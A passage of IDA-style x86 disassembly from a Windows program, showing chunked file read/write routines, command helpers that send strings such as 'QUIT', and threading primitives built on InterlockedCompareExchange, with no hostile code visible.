		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F7B7:				; CODE XREF: sub_42F6F0+BFj
		push	2000h
		call	near ptr 77C2C407h
		nop
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42F82D
		mov	ebp, dword_511AB0
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42F883


loc_42F7EA:				; CODE XREF: sub_42F6F0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_402216
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42F813
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp	; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42F7EA
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F813:				; CODE XREF: sub_42F6F0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		call	near ptr 77C4186Ah
		nop
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F82D:				; CODE XREF: sub_42F6F0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42F883
		mov	esi, dword_511AA0


loc_42F84A:				; CODE XREF: sub_42F6F0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi	; fwrite
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42F871
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42F84A
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F871:				; CODE XREF: sub_42F6F0+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42F883:				; CODE XREF: sub_42F6F0+F4j
					; sub_42F6F0+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		call	near ptr 77C3EEF6h
		nop
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42F8A6
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42F8A6:				; CODE XREF: sub_42F6F0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BEF
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F940:				; CODE XREF: ___:004016A9j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F970:				; CODE XREF: ___:00401D43j
		sub	esp, 108h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		mov	ebx, [esp+110h]
		push	ebp
		push	esi
		push	edi
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		mov	ebp, 1
		cmp	ecx, 100h
		jbe	short loc_42F9A7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9A7:				; CODE XREF: ___:0042F99Aj
		movsx	eax, byte ptr [esp+124h]
		mov	edi, dword_511A6C
		push	eax
		lea	ecx, [esp+1Ch]
		push	offset dword_4474B8
		push	ecx
		call	edi	; sprintf
		mov	esi, [esp+134h]
		lea	edx, [esp+24h]
		push	esi
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42F9E8
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42F9E8:				; CODE XREF: ___:0042F9DBj
		push	ebx
		lea	eax, [esp+1Ch]
		push	offset dword_4476BC
		push	eax
		call	edi	; sprintf
		push	esi
		lea	ecx, [esp+28h]
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FA44
		lea	edx, [esp+10h]
		lea	eax, [esp+14h]
		push	edx
		push	eax
		add	esi, 44h
		push	offset dword_4476B4
		push	esi
		nop
		call	near ptr 77C41B72h
		add	esp, 10h
		cmp	eax, 2
		jnz	short loc_42FA44
		mov	ecx, [esp+120h]
		mov	edx, [esp+10h]
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		mov	[ecx], edx
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------


loc_42FA44:				; CODE XREF: ___:0042FA07j
					; ___:0042FA28j
		xor	ebp, ebp
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 108h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FAA0:				; CODE XREF: ___:004013C0j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	edi
		mov	edi, edx
		mov	ebx, 1
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		jbe	short loc_42FAD0
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FAD0:				; CODE XREF: ___:0042FAC5j
		push	esi
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476C8
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	esi, [esp+128h]
		lea	ecx, [esp+18h]
		push	esi
		push	32h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jnz	short loc_42FB0B
		xor	ebx, ebx
		pop	esi
		mov	eax, ebx
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FB0B:				; CODE XREF: ___:0042FAFBj
		mov	edx, [esp+118h]
		mov	eax, [esp+114h]
		add	esi, 48h
		push	edx
		push	esi
		push	eax
		nop
		call	near ptr 77C47A90h
		add	esp, 0Ch
		mov	eax, ebx
		pop	esi
		pop	edi
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FB70	proc near		; CODE XREF: sub_4016B3j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= byte ptr  0Ch
arg_C		= dword	ptr  10h

		movsx	eax, [esp+arg_8]
		mov	ecx, [esp+arg_C]
		mov	edx, [esp+arg_4]
		push	eax
		mov	eax, [esp+4+arg_0]
		push	3
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
sub_42FB70	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBA0:				; CODE XREF: ___:004016D1j
		movsx	eax, byte ptr [esp+0Ch]
		mov	ecx, [esp+10h]
		mov	edx, [esp+8]
		push	eax
		mov	eax, [esp+8]
		push	4
		push	ecx
		push	edx
		push	eax
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FBD0:				; CODE XREF: ___:0040149Cj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	ebx
		push	esi
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	ebx, [esp+114h]
		or	ecx, 0FFFFFFFFh
		mov	edi, ebx
		repne scasb
		not	ecx
		add	ecx, 6
		cmp	ecx, 100h
		ja	short loc_42FC69
		mov	esi, dword_511A6C
		push	edx
		lea	eax, [esp+10h]
		push	offset dword_4476E0
		push	eax
		call	esi	; sprintf
		mov	edi, [esp+124h]
		lea	ecx, [esp+18h]
		push	edi
		push	33h
		push	ecx
		call	sub_42E490
		add	esp, 18h
		test	eax, eax
		jz	short loc_42FC69
		push	ebx
		lea	edx, [esp+10h]
		push	offset dword_4476D4
		push	edx
		call	esi	; sprintf
		push	edi
		lea	eax, [esp+1Ch]
		push	32h
		push	eax
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		pop	edi
		pop	esi
		pop	ebx
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FC69:				; CODE XREF: ___:0042FBF1j
					; ___:0042FC0Cj ...
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FCB0:				; CODE XREF: ___:00401C7Bj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42FCD9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42FCD9:				; CODE XREF: ___:0042FCD0j
		push	edx
		lea	eax, [esp+4]
		push	offset dword_4476EC
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42FD30	proc near		; CODE XREF: sub_401D66j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi+18h]
		test	eax, eax
		jnz	short loc_42FD69
		push	edi
		push	esi
		push	32h
		push	offset aQuit	; "QUIT"
		call	sub_42E490
		mov	eax, [esi+8]
		add	esp, 0Ch
		push	eax
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	ecx, [esi+14h]
		mov	edi, dword_511AD0
		push	ecx
		call	edi	; free
		push	esi
		call	edi	; free
		add	esp, 8
		pop	edi


loc_42FD69:				; CODE XREF: sub_42FD30+Aj
		pop	esi
		retn
sub_42FD30	endp

; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FD80:				; CODE XREF: ___:004021C1j
		push	edi
		mov	edi, [esp+8]
		test	edi, edi
		jnz	short loc_42FD90
		mov	eax, 16h
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FD90:				; CODE XREF: ___:0042FD87j
		push	1Ch
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		test	eax, eax
		jnz	short loc_42FDA6
		mov	eax, 0Ch
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_42FDA6:				; CODE XREF: ___:0042FD9Dj
		mov	ecx, 1
		mov	dword ptr [eax+8], 0
		mov	dword ptr [eax+0Ch], 0
		mov	dword ptr [eax+10h], 0
		mov	[eax+14h], ecx
		mov	[eax+18h], ecx
		mov	dword ptr [eax], 0C4C0FFEEh
		mov	[edi], eax
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE00:				; CODE XREF: ___:0040151Ej
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FE19
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FE19:				; CODE XREF: ___:0042FE10j
		mov	eax, [esi]
		mov	dword ptr [eax], 0
		mov	ecx, [esi]
		push	ecx
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	dword ptr [esi], 0
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FE50:				; CODE XREF: ___:004012D5j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		mov	eax, [esp+0Ch]
		jnz	short loc_42FE75
		test	eax, eax
		jz	short loc_42FE75
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+0Ch]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_42FE75:				; CODE XREF: ___:0042FE64j
					; ___:0042FE68j
		mov	dword ptr [eax], 1
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEA0:				; CODE XREF: ___:004013ACj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FEB9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FEB9:				; CODE XREF: ___:0042FEB0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_42FECD
		cmp	eax, 1
		jz	short loc_42FECD
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FECD:				; CODE XREF: ___:0042FEBFj
					; ___:0042FEC4j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+0Ch], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FEF0:				; CODE XREF: ___:00401519j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF10:				; CODE XREF: ___:00401834j
		mov	eax, 28h
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF30:				; CODE XREF: ___:00401348j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF49
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF49:				; CODE XREF: ___:0042FF40j
		mov	eax, [esi]
		mov	edx, [esp+0Ch]
		pop	esi
		mov	ecx, [eax+8]
		xor	eax, eax
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FF70:				; CODE XREF: ___:00402207j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_42FF89
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42FF89:				; CODE XREF: ___:0042FF80j
		mov	eax, [esi]
		mov	ecx, [esp+0Ch]
		pop	esi
		mov	[eax+8], ecx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFB0:				; CODE XREF: ___:004019B0j
		mov	eax, [esp+4]
		mov	ecx, [eax]
		mov	eax, [esp+8]
		mov	edx, [ecx+18h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42FFE0:				; CODE XREF: ___:004019ABj
		mov	eax, [esp+8]
		sub	eax, 0
		jz	short loc_430002
		dec	eax
		jz	short loc_42FFF2
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_42FFF2:				; CODE XREF: ___:0042FFEAj
		mov	eax, [esp+4]
		mov	ecx, [eax]
		xor	eax, eax
		mov	dword ptr [ecx+18h], 1
		retn
; ---------------------------------------------------------------------------


loc_430002:				; CODE XREF: ___:0042FFE7j
		mov	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430020:				; CODE XREF: ___:00401C1Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		test	ebx, ebx
		jz	loc_4300BB
		mov	edi, [esp+18h]
		test	edi, edi
		jz	loc_4300BB
		push	18h
		push	1
		nop
		call	near ptr 77C2C0C3h
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jz	short loc_4300B2
		mov	eax, [esp+14h]	; DATA XREF: ___:off_444E88o
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_430060
		mov	eax, [eax]
		jmp	short loc_430062
; ---------------------------------------------------------------------------


loc_430060:				; CODE XREF: ___:00430054j
					; ___:0043005Aj
		xor	eax, eax


loc_430062:				; CODE XREF: ___:0043005Ej
		mov	[esi+4], edi
		mov	[esi], edi
		lea	edi, [esi+10h]
		push	0
		push	eax
		push	edi
		mov	[esi+0Ch], eax
		mov	dword ptr [esi+8], 0
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_4300A8
		push	eax
		mov	eax, [esi+0Ch]
		lea	ecx, [esi+14h]
		push	eax
		push	ecx
		call	sub_401C8A
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_43009F
		mov	[ebx], esi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43009F:				; CODE XREF: ___:00430097j
		push	edi
		call	sub_401690
		add	esp, 4


loc_4300A8:				; CODE XREF: ___:00430082j
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4


loc_4300B2:				; CODE XREF: ___:0043004Cj
		pop	edi
		pop	esi
		mov	eax, 0Ch
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4300BB:				; CODE XREF: ___:00430029j
					; ___:00430035j
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430100:				; CODE XREF: ___:0040220Cj
		push	ebx
		push	ebp
		mov	ebp, [esp+0Ch]
		push	esi
		test	ebp, ebp
		push	edi
		jz	short loc_430168
		mov	esi, [ebp+0]
		test	esi, esi
		jz	short loc_430168
		lea	ebx, [esi+10h]
		mov	dword ptr [ebp+0], 0
		push	ebx
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43015E
		lea	eax, [esi+14h]
		push	eax
		call	sub_401690
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_43014F
		push	esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43014F:				; CODE XREF: ___:0043013Cj
		mov	ecx, [esi+0Ch]
		push	0
		push	ecx
		push	ebx
		call	sub_401C8A
		add	esp, 0Ch


loc_43015E:				; CODE XREF: ___:0043012Aj
		mov	eax, edi
		mov	[ebp+0], esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_430168:				; CODE XREF: ___:0043010Aj
					; ___:00430111j
		pop	edi
		pop	esi
		pop	ebp
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4301A0:				; CODE XREF: ___:004017A3j
		mov	eax, [esp+4]
		push	esi
		test	eax, eax
		jz	loc_430254
		mov	esi, [eax]
		test	esi, esi
		jz	loc_430254
		push	ebp
		lea	ebp, [esi+8]
		push	edi
		push	esi
		mov	edi, [ebp+0]
		nop
		call	near ptr 2770A69h
		test	eax, eax
		jnz	short loc_4301E7
		mov	eax, [esi+4]
		cmp	eax, 1
		mov	[esi], eax
		jbe	short loc_430234
		dec	eax
		push	eax
		lea	eax, [esi+edi*4+10h]
		push	eax
		call	sub_402068
		add	esp, 8
		mov	esi, eax
		jmp	short loc_430230
; ---------------------------------------------------------------------------


loc_4301E7:				; CODE XREF: ___:004301C8j
		push	ebx
		call	sub_4012E4
; ---------------------------------------------------------------------------
		mov	ecx, [eax+34h]
		mov	ebx, 1
		cmp	ecx, ebx
		jnz	short loc_43020B
		lea	ecx, [esp+14h]
		push	ecx
		push	ebx
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8
		test	eax, eax
		jz	short loc_43020D


loc_43020B:				; CODE XREF: ___:004301F7j
		xor	ebx, ebx


loc_43020D:				; CODE XREF: ___:00430209j
		lea	edx, [esi+edi*4+10h]
		push	edx
		call	sub_401041
		add	esp, 4
		mov	esi, eax
		test	ebx, ebx
		pop	ebx
		jz	short loc_430230
		mov	eax, [esp+10h]
		push	0
		push	eax
		call	sub_401415
; ---------------------------------------------------------------------------
		add	esp, 8


loc_430230:				; CODE XREF: ___:004301E5j
					; ___:0043021Fj
		test	esi, esi
		jnz	short loc_43024E


loc_430234:				; CODE XREF: ___:004301D2j
		mov	ecx, 1
		push	edi
		sub	ecx, edi
		push	ecx
		push	ebp
		call	dword_5103C8	; InterlockedCompareExchange
		xor	edx, edx
		cmp	edi, eax
		setnz	dl
		dec	edx
		mov	esi, edx


loc_43024E:				; CODE XREF: ___:00430232j
		pop	edi
		mov	eax, esi
		pop	ebp
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430254:				; CODE XREF: ___:004301A7j
					; ___:004301B1j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430290:				; CODE XREF: ___:00401F6Ej
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_4302B3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4302B3:				; CODE XREF: ___:004302A2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4302E0:				; CODE XREF: ___:00401A87j
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_430301
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_430301
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_430301:				; CODE XREF: ___:004302E9j
					; ___:004302EFj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430320:				; CODE XREF: ___:0040127Bj
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43033D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43033D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43033D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43033D:				; CODE XREF: ___:00430326j
					; ___:0043032Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_430360:				; CODE XREF: ___:00401636j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43038A
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_43038A
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43037E
		test	eax, eax
		jnz	short loc_43038A
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43037E:				; CODE XREF: ___:00430375j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_43038A:				; CODE XREF: ___:00430366j
					; ___:0043036Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_4303A0	proc near		; CODE XREF: sub_401415j
		push	esi
		push	edi
		call	sub_4012E4
sub_4303A0	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 247C8B7Bh, 74FF850Ch, 1FF8305h, 8D536E75h
		dd 0E8532C5Eh, 0FFFD1E84h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889304Eh, 7E89FF85h,	8B3E7530h, 0C0853446h, 568B3775h
		dd 90525738h, 340304E8h, 75C08502h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	0E8000000h, 2340445h, 0B4E85390h
		dd 6AFFFD0Ch, 19D7E802h, 0C483FFFDh, 0A4E85308h, 83FFFD0Ch
		dd 0C03304C4h, 0C35E5F5Bh, 16B85Fh, 0C35E0000h,	0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_430460:				; CODE XREF: ___:00402261j
		push	ebx
		push	esi
		call	sub_4012E4
; ---------------------------------------------------------------------------
		db 8Bh
		dd 74F685F0h, 245C8B7Bh, 1FB830Ch, 0DB850474h, 8D576E75h
		dd 0E8572C7Eh, 0FFFD1DC4h, 1824448Bh, 8504C483h, 8B0574C0h
		dd 889344Eh, 8930468Bh,	0C085345Eh, 0DB853B75h,	568B3775h
		dd 0E8525338h, 2340245h, 75C08590h, 38468B28h, 30C46C7h
		dd 50000000h, 13046C7h,	90000000h, 340384E8h, 0F4E85702h
		dd 6AFFFD0Bh, 1917E802h, 0C483FFFDh, 0E4E85708h, 83FFFD0Bh
		dd 0C03304C4h, 0C35B5E5Fh, 16B85Eh, 0C35B0000h,	0Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_430520	proc near		; CODE XREF: sub_401D02j
		push	esi
		push	edi
		call	sub_4012E4
sub_430520	endp

; ---------------------------------------------------------------------------
		db 8Bh
		dd 2C7E8DF0h, 1D16E857h, 0C483FFFDh, 74F68504h,	307E8334h
		dd 8B2E7401h, 6A3846h, 0A6E89050h, 85023401h, 571E75C0h
		dd 30C46C7h, 0C7000000h, 13046h, 60E80000h, 6AFFFD0Bh
		dd 1883E802h, 0C483FFFDh, 50E85708h, 83FFFD0Bh,	5E5F04C4h
		dd 909090C3h, 90909090h, 8 dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_4305A0:				; CODE XREF: ___:00401D39j
		sub	esp, 2D0h
		push	esi
		mov	esi, [esp+2D8h]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		mov	[esp+4], eax
		test	eax, eax
		jnz	loc_4306D9
		call	sub_4012E4
; ---------------------------------------------------------------------------
		test	eax, eax
		jnz	short loc_4305DB
		mov	eax, 0Ch
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4305DB:				; CODE XREF: ___:004305CCj
		push	ebx
		push	ebp
		push	edi
		push	eax
		push	esi
		call	sub_401A64
		lea	ebx, [esi+2Ch]
		mov	edi, eax
		push	ebx
		call	sub_402248
		mov	eax, [esi+34h]
		add	esp, 0Ch
		test	eax, eax
		mov	ebp, 3
		jnz	loc_4306B2
		mov	eax, [esi+30h]
		test	eax, eax
		jnz	loc_4306B2
		cmp	[esi+0Ch], ebp
		jge	loc_4306C5
		test	edi, edi
		jz	short loc_430644
		push	ebx
		mov	[esi+0Ch], ebp
		mov	dword ptr [esi+30h], 1
		call	sub_4010C3
		push	2
		call	sub_401DED
; ---------------------------------------------------------------------------
		mov	eax, [esp+18h]
		add	esp, 8
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_430644:				; CODE XREF: ___:00430619j
		mov	edi, [esi+4]
		push	edi
		call	near ptr 276099Fh
		nop
		push	0
		push	edi
		call	near ptr 27706F1h
		nop
		cmp	eax, 102h
		jnz	short loc_4306D2
		lea	eax, [esp+14h]
		mov	[esi+0Ch], ebp
		push	eax
		push	edi
		mov	dword ptr [esi+30h], 1
		mov	dword ptr [esp+1Ch], 10001h
		nop
		call	near ptr 2760C44h
		lea	ecx, [esp+14h]
		mov	dword ptr [esp+0CCh], offset loc_430750
		push	ecx
		push	edi
		call	near ptr 2770000h
		nop
		push	ebx
		call	sub_4010C3
		add	esp, 4
		push	edi
		nop
		call	near ptr 27702ACh
		mov	eax, [esp+10h]
		pop	edi
		pop	ebp
		pop	ebx
		pop	esi
		add	esp, 2D0h
		retn
; ---------------------------------------------------------------------------


loc_4306B2:				; CODE XREF: ___:004305FDj
					; ___:00430608j
		cmp	[esi+0Ch], ebp
		jge	short loc_4306C5
		mov	edx, [esi+38h]
		push	edx
		nop
		call	near ptr 27704D4h
		test	eax, eax
		jnz	short loc_4306C9


loc_4306C5:				; CODE XREF: ___:00430611j
					; ___:004306B5j
		mov	[esp+10h], ebp


loc_4306C9:				; CODE XREF: ___:004306C3j
		push	ebx
		call	sub_4010C3
		add	esp, 4


loc_4306D2:				; CODE XREF: ___:0043065Cj
